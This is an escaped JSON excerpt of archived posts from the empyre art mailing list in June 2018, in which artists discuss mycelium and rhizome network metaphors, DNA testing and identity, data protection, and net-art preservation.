\ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11 \ud83d\udc11\nBYEBYE/LIZ\n\n\n\n_______________________________________________\nempyre forum\nempyre at lists.artdesign.unsw.edu.au<mailto:empyre at lists.artdesign.unsw.edu.au>\nhttp://empyre.library.cornell.edu\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180619/645f3aaa/attachment-0001.html>\n",
                                        "date": "Wed Jun 20 05:00:55 AEST 2018",
                                        "message-id": "10332",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010332.html",
                                        "content-type": "n/a",
                                        "author_name": "Vanouse, Paul",
                                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                                    },
                                    {
                                        "from": "annet at aaaan.net",
                                        "id": "10333",
                                        "content": "hi all,\nthanks shu lea for inviting me to this inspiring discussion and sorry \nfor the delay... i was/am trying to find the words to respond and still \nfind it hard to insert them - i feel i have little to add to debates and \ndiscussion about dna, genetics, or mycelium for that matter, while i \nfind them extremely urgent and fascinating, i'm still struggling with \nthe challenges of 'human' networks.\n\nso, for a short intro, in the last decade i've been increasingly busy \nwith finding ways to preserve net art / net cultures, most of which can \nnow be read in articles and a book \n<http://library.memoryoftheworld.org/b/qMW7Yz83DPILOYpcDO_vYmC7utjP7iiWw0MCXXaXVFaOz8q3>(s). \none of the key possibilities i believe is in forming networks of [human \nand machinic] hardware and software, largely inspired by shu lea's \nnotion of the cycle i'm interested in how networks form, break, disrupt \nor mutate. i'm trying to see how we can put these method into action in \ndifferent fields and for other needs.\n\nreading the essay linked by liz, after a discussion about the power of \n'songlines' and how the left find it hard to respond to the alt.right, \ni'm increasingly aware of the urgency to find and come up with \nalternative modes of organisation(s). this month's discussion comes in \nand out touching on these dilemmas in one way or another of course. i \nvery much enjoyed the story of the kombucha, and how mycelium networks \ncan help to think beyond the human=machine rethoric. and the project of \na 'feral MBA' is a fantastic way to counter the current business and \npolitics.\n\nas mentioned i'm not too familiar with ins and outs of mycelium \nnetworks/infrastructures, so forgive my ignorance, but i would love to \nhear from others more about how these types of infrastructures could be \n'cycled' into other projects and made productive in other grounds. in \nother words, perhaps pragmatic, how to take into account the human \nscale(s), how to connect and, moreover, how to make sustainable these \n(post-net) networks?\n\nannet\naaaan.net\n\n\n\n\nOp 19-06-18 om 21:00 schreef Vanouse, Paul:\n> ----------empyre- soft-skinned space----------------------\n>\n>\n> Good afternoon everyone,\n>\n> I also thought this was an unexpected direction in this thread. \n\nOf \n> course, the threadlike underground mycelium of many mushrooms is/are \n> known to grow in ways that seem non-formulaic, unstructured and \n> spontaneous. And this is the very property that gives rise to Delueze \n> and Guattari\u2019s rich modeling of the rhizomatic underground network of \n> flows, deterritorializations, lines of flight\u2026 indeed probably the \n> very rich materialist models and metaphors that led many of us to the \n> interest in mycelium (it/them)sel(f/vs) in the first place. \n\nSo in \n> this sense, I suppose a flow into any unexpected direction shouldn\u2019t \n> take us too much by surprise;-)\n>\n> My practice has generally undermined any strongly genetically \n> determinist basis of identity, such as the notion that we are defined \n> by our DNA, or represented by our DNA, or easily individuated by DNA \n> technologies. Furthermore, I\u2019ve criticized the slippage between genes, \n> race and geographical place\u2014in particular the idea of any fixity to \n> these relations.\n>\n> However, I engage this critique of identity of course from a \n> fascination with identity. My mother is a Jamaican of African descent, \n> from a country village near Brownstown, and much of her lineage isn\u2019t \n> documented. \n\nMy father is white and was adopted with two \n> non-genetically related siblings into a French-Canadian/American \n> family in Minnesota. \n\nProbably no mystery why I\u2019ve been critical of \n> simplistic categories of race and identity.\n>\n> What I find particularly interesting about this thread in a mycelium \n> discussion tending toward DNA and genetics is that genetics are always \n> portrayed with an arboreal model, i.e. \u201cthe family tree\u201d, \u201cthe family \n> tree of man\u201d, etc. \n\nDeleuze and Guattari found the teleology and \n> patterning of branching, as well as the forever hierarchic \n> relationship between branch and trunk as something to be resisted. \n> \n\nThe branching model fits an ontology of hierarchy, whereas the \n> rhizome model fits a philosophy of becoming.\n>\n> Where might the thread go from here?\n>\n> Cheers,\n>\n> Paul\n>> On Jun 19, 2018, at 2:04 PM, lizvlx <liz at ubermorgen.com \n>> <mailto:liz at ubermorgen.com>> wrote:\n>>\n>> ----------empyre- soft-skinned space----------------------\n>> \ud83d\udc11 \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\n\nhello \n>> again\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\n\nfour \n>> things\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11*I \n>> read this text and it is to be read:* \n>> https://eand.co/why-were-one-step-away-from-the-abyss-4ef01d70937b \ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11*DNA* \n>> - I am not adopted, the only great grandparent that is unknown in my \n>> family is the Roman Catholic priest that was my grandfather\u2019s father \n>> :D ..\n\nBut I have no known greek ancestry, neither northern African. I \n>> suspect that there might be a cluster of Sicilian DNA in upper \n>> Austria - but that is a work in progress theory, I still have a great \n>> aunt that is alive and I need to make her get tested to find out \n>> more. But thats more on a personal note.\ud83d\udc11 \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11DNA \n>> - the *Datenschutzaspekt *(I rather use German when it comes to data \n>> protection as there is no powerful terminology in English) - the \n>> problem when signing up for a DNA analysis is a) trusting the company \n>> that they won\u2019t fuck around with your data (and if you live in the \n>> USA you will be a fool to trust em) and b) you are making a decision \n>> not about your own DNA but for the whole of your close family. This \n>> is an impossible decision - me mistress of the impossible of course \n>> had no problem tackling this hurdle. Seriously, I would have never \n>> taken the test if I were living in the USA, too dangerous. I decided \n>> to do it as I do believe that future will be one where everybody\u2019s \n>> DNA will be screened known bartered with etc. There is no way to stop \n>> this (the only good thing to get out of these tests is have a \n>> non-mutt person is the exemption of the rule and all this race \n>> bullshit just does not compute). \ud83d\udc11 \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11*Heartless \n>> psychopaths.* What a lovely topic. For this topic, UBERMORGEN has \n>> been researching for the last year. We are calling it Binary \n>> Primitivism.\n\nWe focused on analysing: *pornography* (also over time, \n>> trends, normalisation of criminal sexual abuse, hypnoporn) *incels* \n>> (thats the notorious Involuntary Celibates; we had done a piece on \n>> Elliot Rodger aka Santa Barbara Killer a little time ago and he is \n>> not the GOD of the movement, a movement that is terrorising online \n>> and RL communities) *Alt.right* (mostly their social media tactics of \n>> - again - immersiveness *Online Gaming Environments* (well u gotta \n>> play with em boys).\n\nGot some links hereto: \n>> https://player.vimeo.com/video/137939689\n\n- video \u201cNice Vanilla \n>> Latte\u201d, feat. Elliot Rodger, UBERMORGEN 2015 \n>> https://twitter.com/ElliotRodgerGod\n\n- his twitter account that is \n>> still live and now used by a friend of his DO NOT REPORT THIS ACCOUNT \n>> COZ THIS A GREAT RESSOURCE http://vaporwave.breitbart.pro/\n\nthis is \n>> unreleased work in progress - one example of imagery etc we produce \n>> and then insert into the networks of the heartless psychopaths.\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11 \n>> \ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\ud83d\udc11\n>> BYEBYE/LIZ\n>>\n>>\n>>\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.artdesign.unsw.edu.au \n>> <mailto:empyre at lists.artdesign.unsw.edu.au>\n>> http://empyre.library.cornell.edu\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180619/18140a01/attachment-0001.html>\n",
                                        "date": "Wed Jun 20 06:58:07 AEST 2018",
                                        "message-id": "10333",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010333.html",
                                        "content-type": "n/a",
                                        "author_name": "annet dekker",
                                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                                    },
                                    {
                                        "from": "ghostnets at ghostnets.com",
                                        "id": "10334",
                                        "content": "Just a quick comment on trees and hierarchies, vertical space doesn\u2019t necessarily imply hierarchy. A tree\u2019s canopy, for example is at least as important to its survival as its roots and all the interconnected mycellae of its underground networks. I would suggest a more realistic conceptualization of these spatial relationships would be to consider permaculture- in which each spatial layer is equally important and all are interconnected. Further more, it might be considered that any trees\u2019 role is grounded in watershed dynamics, the atmosphere, soil, food webs, etc. Even a sentinel tree is only an artifact of these much larger relationships. Re: rehearsals for a network and other systems, it might be interesting to consider about the sentinel tree, that what is obvious may not be what\u2019s important to pay attention to. The corollary in present politics is that the strong man may not be the real danger. It is the followers of the strong man and why they follow.\n\nAviva Rahmani, PhD\nwww.ghostnets at ghostnets.com<http://www.ghostnets@ghostnets.com>\nWatch \u00b3Blued Trees\u00b2:  https://vimeo.com/135290635\nwww.gulftogulf.org<http://www.gulftogulf.org/>\n\n\n\nFrom: <empyre-bounces at lists.artdesign.unsw.edu.au> on behalf of \"Vanouse, Paul\" <vanouse at buffalo.edu>\nReply-To: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\nDate: Tuesday, June 19, 2018 at 3:18 PM\nTo: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au>\nSubject: Re: [-empyre-] rehearsal of a network - [week 3]\n\n----------empyre- soft-skinned space----------------------\n_______________________________________________\nempyre forum\nempyre at lists.artdesign.unsw.edu.au\nhttp://empyre.library.cornell.edu\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180620/9be73774/attachment.html>\n",
                                        "date": "Wed Jun 20 11:58:52 AEST 2018",
                                        "message-id": "10334",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010334.html",
                                        "content-type": "n/a",
                                        "author_name": "Aviva Rahmani",
                                        "subject": "[-empyre-] rehearsal of a network - [week 3]"
                                    },
                                    {
                                        "from": "artactivism at gn.apc.org",
                                        "id": "10335",
                                        "content": " \u201cThe new picture of reality that the arts and sciences promise is one of a deeply sentient and meaningful universe. It is poetic \u2013 productive of new life forms and ever-new embodied experiences. It is expressive of all the subjective experiences that individuals make. It is a universe where human subjects are no longer separated from other organisms but rather form a meshwork of existential relationships \u2013 a quite real \u2018web of life\u2019. \u201cAndreas Weber ,\n\nEnlivenment: Towards a fundamental shift in the concepts of nature, <https://www.boell.de/en/2013/02/01/enlivenment-towards-fundamental-shift-concepts-nature-culture-and-politics> culture and politics, 2013 Heinrich Bo\u0308ll Foundation. \n\nThe key is that we begin to think like a forest which means become sensitive to its sensitivity, to the sense of  every being in it, from the mycelial hyphe that spread through the ground building soil and feeding the forest, to the ants that farm and  harvest mushrooms, the woodpecker that profits from the fungi that rot wood to build her nest. The forest is a a wave of life, ever moving, ever adapting, ever weaving spaces that enable forms of life to flower, ever changing and diversifying. But the key lesson it gives us 21st century humans is inhabiting,  how do we  really inhabit worlds, which means giving up the hyper mobility of the cultural class and learning to become the territory rather than floating 